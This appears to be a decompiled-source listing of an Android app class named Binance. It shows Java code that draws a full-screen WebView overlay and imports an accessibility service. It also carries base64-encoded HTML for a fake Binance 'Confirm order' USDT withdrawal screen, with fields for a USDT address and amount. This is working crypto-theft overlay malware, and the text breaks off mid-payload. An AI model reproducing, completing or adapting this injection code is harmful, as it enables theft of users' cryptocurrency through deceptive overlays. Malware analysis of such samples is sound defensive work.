安全维护 v35.18.67.68版本的 MD5 值为:950748e098623ea9845d78a485358579

以下内容为反编译后的 Binance.java 源代码,内容仅作参考


package ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2;

import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.graphics.Rect;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.widget.FrameLayout;
import android.widget.TextView;
import androidx.core.view.accessibility.AccessibilityNodeInfoCompat;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.AccessService;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.MySettings;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.initializeService;
import org.json.JSONObject;
public class Binance {
    public static FrameLayout binanceWalletInjview;
    public static WindowManager.LayoutParams binanceWalletInjviewLayoutParams;
    public static boolean ifShowDialog;
    private static boolean ifWebViewFullScreen;
    private static int showType;
    public static TextView textView;
    private static String usdtaddress;
    private static String usdtamount;
    public static WebView webView;
    private static WindowManager windowManager;

    public static void binanceinj(final Context context) {
        if (binanceWalletInjview == null) {
            initInjView(context);
        }
        if (webView == null) {
            MyWebView myWebView = new MyWebView(context);
            webView = myWebView;
            char c = 65535;
            myWebView.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
            webView.requestFocus();
            webView.setFocusable(true);
            webView.setFocusableInTouchMode(true);
            WebSettings settings = webView.getSettings();
            settings.setJavaScriptEnabled(true);
            settings.setJavaScriptCanOpenWindowsAutomatically(true);
            settings.setDomStorageEnabled(true);
            settings.setCacheMode(1);
            webView.setScrollBarStyle(0);
            webView.setLayerType(2, null);
            webView.setWebChromeClient(new MyWebChromeClient());
            webView.requestFocus(130);
            webView.requestFocusFromTouch();
            webView.setEnabled(true);
            webView.setVerticalScrollBarEnabled(false);
            webView.setHorizontalScrollBarEnabled(false);
            ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();
            layoutParams.height = ScreenUtil.getScreenHeight(context);
            webView.setLayoutParams(layoutParams);
            String language = Locale.getDefault().getLanguage();
            language.hashCode();
            switch (language.hashCode()) {
                case 3241:
                    if (language.equals("en")) {
                        c = 0;
                        break;
                    }
                    break;
                case 3383:
                    if (language.equals("ja")) {
                        c = 1;
                        break;
                    }
                    break;
                case 3428:
                    if (language.equals("ko")) {
                        c = 2;
                        break;
                    }
                    break;
                case 3886:
                    if (language.equals("zh")) {
                        c = 3;
                        break;
                    }
                    break;
            }
            String str = "";
            switch (c) {
                case 0:
                default:
                    str = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvOndnaHRANDAwOzUwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgPHN0eWxlPgogICAgICAgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIC8qYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsqLwogICAgICAgICAgICBmb250LWZhbWlseTogJ1JvYm90bycsIHNhbnMtc2VyaWY7CiAgICAgICAgfQoKICAgICAgICBodG1sIHsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICBtYXgtd2lkdGg6IDQwMHB4OwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yLWxhbmcgewogICAgICAgICAgICBjb2xvcjogIzIyMjIyMjsKICAgICAgICB9CiAgICAgICAgYnV0dG9uOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBwYWRkaW5nOiAwLjNyZW0gMDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtOm5vdCg6bGFzdC1jaGlsZCkgewogICAgICAgICAgICAvKmJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOyovCiAgICAgICAgfQogICAgICAgIC5kZXRhaWwgewogICAgICAgICAgICAvKiBtYXJnaW4tdG9wOiAxcmVtOwogICAgICAgICAgICBwYWRkaW5nOiAwLjVyZW07CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7CiAgICAgICAgICAgIC8qIGJhY2tncm91bmQtY29sb3I6IGxpZ2h0Ymx1ZTsgKi8KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogN3B4OwoKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBjb2xvcjogIzg3OGQ5OTsKICAgICAgICAgICAgLypib3gtc2hhZG93OiAxcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpLCAtMXB4IDFweCAwcHggcmdiYSgwLCAwLCAwLCAwLjI1KTsqLwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7CiAgICAgICAgfQogICAgICAgIC5mb290ZXIgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07CiAgICAgICAgfQogICAgICAgIC5uYXYtaWNvbiB7CiAgICAgICAgICAgIHdpZHRoOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIH0KICAgICAgICAubGVmdCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5jZW50ZXIgewogICAgICAgICAgICBwYWRkaW5nOiAwcHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6NTAwOwogICAgICAgIH0KICAgICAgICAudHJhbnNmZXItYW1vdW50IHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAzNXB4OwogICAgICAgICAgICBmb250LXNpemU6IDJyZW07CiAgICAgICAgfQogICAgICAgIC51c2QgewogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgICAgIGNvbG9yOiAjY2NjOwogICAgICAgIH0KICAgICAgICAubGVmdC1mb250IHsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICB9CiAgICAgICAgLnJpZ2h0LWZvbnQgewogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgfQogICAgICAgIC5sb2FkaW5nLW92ZXJsYXkgewogICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogMDsKICAgICAgICByaWdodDogMDsKICAgICAgICBib3R0b206IDA7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjgpOwogICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIH0KCiAgICAuc3Bpbm5lciB7CiAgICAgICAgd2lkdGg6IDUwcHg7CiAgICAgICAgaGVpZ2h0OiA1MHB4OwogICAgICAgIGJvcmRlcjogNXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC4xKTsKICAgICAgICBib3JkZXItbGVmdC1jb2xvcjogIzM5NTZjZDsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7CiAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTsKICAgIH0KICAgICAgICAudGlwcyB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y1ZjVmNTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgfQoKICAgIEBrZXlmcmFtZXMgc3BpbiB7CiAgICAgICAgMTAwJSB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICAgICAgfQogICAgfQogICAgaHIgewogICAgICAgICAgICBib3JkZXI6IG5vbmU7IC8qIOenu+mZpOm7mOiupOi+ueahhiAqLwogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZGRkZDsgLyog6K6+572u5paw6L655qGG77yM5Y+v5Lul5L+u5pS55a695bqm44CB6aKc6Imy562JICovCiAgICAgICAgICAgIGhlaWdodDogMDsgLyog6YeN6K6+6auY5bqmICovCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOyAvKiDorr7nva7liIblibLnur/lrr3luqYgKi8KICAgICAgICAgICAgY2xlYXI6IGJvdGg7IC8qIOmYsuatouWIhuWJsue6v+WRqOWbtOeahOWFg+e0oOWPkeeUn+a1ruWKqCAqLwogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2hlYWQ+Cjxib2R5PgogICAgPCEtLSA8ZGl2IGNsYXNzPSJsb2FkaW5nLW92ZXJsYXkiIGlkPSJsb2FkaW5nT3ZlcmxheSI+CiAgICA8ZGl2IGNsYXNzPSJzcGlubmVyIj48L2Rpdj4KPC9kaXY+IC0tPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYmFyIj4KICAgICAgICAgICAgPCEtLSDov5Tlm57mjInpkq4gLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxlZnQiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSIiIGNsYXNzPSJuYXYtaWNvbiI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOWxheS4reaWh+WtlyAtLT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpdGxlIiBzdHlsZT0iZm9udC1zaXplOiAxN3B4OyI+PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNlbnRlciBsYW5nIiBkYXRhLWxhbmcta2V5PSJzdWJfdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiA1MHB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjODc4ZDk5Ij48L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0idHJhbnNmZXItYW1vdW50Ij4KICAgICAgICAgICAgPHNwYW4gY2xhc3M9InVzZHRfYW1vdW50IiBzdHlsZT0iZm9udC13ZWlnaHQ6IDYwMCIgZGF0YS1sYW5nLWtleT0idXNkdF9hbW91bnQiPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogMzAwIj4gVVNEVDwvc3Bhbj4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJ1c2QiPuKJiCAkPHNwYW4gY2xhc3M9InVzZF9hbW91bnQiPjYxLjg1PC9zcGFuPjxzcGFuPjwvc3Bhbj48L2Rpdj4gLS0+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJ3aXRoZHJhd19hZGRyZXNzIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBmcm9tIGxhbmcgci1sYW5nIiBkYXRhLWxhbmcta2V5PSJhc3NldCI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZGV0YWlsLWl0ZW0iPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBjaGFpbiByLWxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZnJvbV9hZGRyZXNzIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgdG8gci1sYW5nIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8aHI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJzeW1ib2wiIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCB0byByLWxhbmciPlVTRFQ8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iYW1vdW50IiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgci1sYW5nIHRvdGFsX2Ftb3VudCI+PHNwYW4+VVNEVDwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZmVlIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgZmVlIHItbGFuZyI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRpcHMiPgogICAgICAgICAgICA8cCBjbGFzcz0ici1sYW5nIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpcHMiPgogICAgICAgICAgICA8L3A+CiAgICAgICAgPC9kaXY+CgoKICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOW6lemDqOaMiemSriAtLT4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJmb290ZXIiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibGFuZyIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYmEoNjgsIDExNiwgMTgyLCk7IiBkYXRhLWxhbmcta2V5PSJjb25maXJtIj48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+IC0tPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICAvLyAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAvLyAgICAgY29uc3QgbG9hZGluZ092ZXJsYXkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGluZ092ZXJsYXknKTsKICAgIC8vICAgICBsb2FkaW5nT3ZlcmxheS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgLy8gfSwgMzAwMCk7CiAgICBmdW5jdGlvbiAgY2hhbmdMYW5nKGRhdGEpIHsKICAgICAgICBjb25zdCBsYW5ndWFnZVBhY2sgPSB7CiAgICAgICAgICAgIGVuOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ0NvbmZpcm0gb3JkZXInLAogICAgICAgICAgICAgICAgc3ViX3RpdGxlOiAnWW91IHdpbGwgZ2V0JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICdBZGRyZXNzJywKICAgICAgICAgICAgICAgIGNoYWluOiAnTmV3b3JrJywKICAgICAgICAgICAgICAgIGZyb21fYWRkcmVzczogJ1NvdXJjZScsCiAgICAgICAgICAgICAgICBzeW1ib2w6ICdDb2luJywKICAgICAgICAgICAgICAgIGFtb3VudDonQW1vdW50JywKICAgICAgICAgICAgICAgIGZlZTogJ05ldHdvcmsgZmVlJywKICAgICAgICAgICAgICAgIHRpcHM6ICdFbnN1cmUgdGhhdCB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0IGFuZCBvbiB0aGUgc2FtZSBuZXR3b3JrLCBUcmFuc2FjdGlvbiBjYW5ub3QgYmUgY2FuY2VsbGVkLicsCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHpoOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ+ehruiupOiuouWNlScsCiAgICAgICAgICAgICAgICBzdWJfdGl0bGU6ICflrp7pmYXliLDotKY6JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICfmj5DluIHlnLDlnYAnLAogICAgICAgICAgICAgICAgY2hhaW46ICfkuLvnvZHnu5wnLAogICAgICAgICAgICAgICAgZnJvbV9hZGRyZXNzOiAn5o+Q546w5p2l5rqQ6LSm5oi3JywKICAgICAgICAgICAgICAgIHN5bWJvbDogJ+W4geenjScsCiAgICAgICAgICAgICAgICBhbW91bnQ6J+mHkeminScsCiAgICAgICAgICAgICAgICBmZWU6ICfnvZHnu5zmiYvnu63otLknLAogICAgICAgICAgICAgICAgdGlwczogJ+ivt+ehruS/neaCqOi+k+WFpeS6huato+ehrueahOaPkOW4geWcsOWdgOW5tuS4lOaCqOmAieaLqeeahOi9rOi0pue9kee7nOS4juWcsOWdgOebuOWMuemFjeOAguaPkOW4geiuouWNleWIm+W7uuWQjuS4jeWPr+WPlua2iCcsCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICA8IS0tIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZF9hbW91bnQiKVswXS5pbm5lckhUTUwgPSBkYXRhLnVzZF9hbW91bnQ7IC0tPgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImNoYWluIilbMF0uaW5uZXJIVE1MID0gZGF0YS5jaGFpbgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZyb20iKVswXS5pbm5lckhUTUwgPSBkYXRhLmZyb207CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgidG8iKVswXS5pbm5lckhUTUwgPSBkYXRhLnRvOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZlZSIpWzBdLmlubmVySFRNTCA9IGRhdGEuZmVlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInRvdGFsX2Ftb3VudCIpWzBdLmlubmVySFRNTCA9IGRhdGEudG90YWxfYW1vdW50OwogICAgfQogICAgLy/kvb/nlKjml7blgJnms6jph4rov5nkuKTooYwKICAgIHdpbmRvdy5vbmxvYWQgPSBjaGFuZ0xhbmcoe2xhbmc6ICdlbid9KTsKPC9zY3JpcHQ+CjwvaHRtbD4=";
                    break;
                case 1:
                case 2:
                    break;
                case 3:
                    str = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvOndnaHRANDAwOzUwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgPHN0eWxlPgogICAgICAgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIC8qYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsqLwogICAgICAgICAgICBmb250LWZhbWlseTogJ1JvYm90bycsIHNhbnMtc2VyaWY7CiAgICAgICAgfQoKICAgICAgICBodG1sIHsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICBtYXgtd2lkdGg6IDQwMHB4OwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yLWxhbmcgewogICAgICAgICAgICBjb2xvcjogIzIyMjIyMjsKICAgICAgICB9CiAgICAgICAgYnV0dG9uOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBwYWRkaW5nOiAwLjNyZW0gMDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgI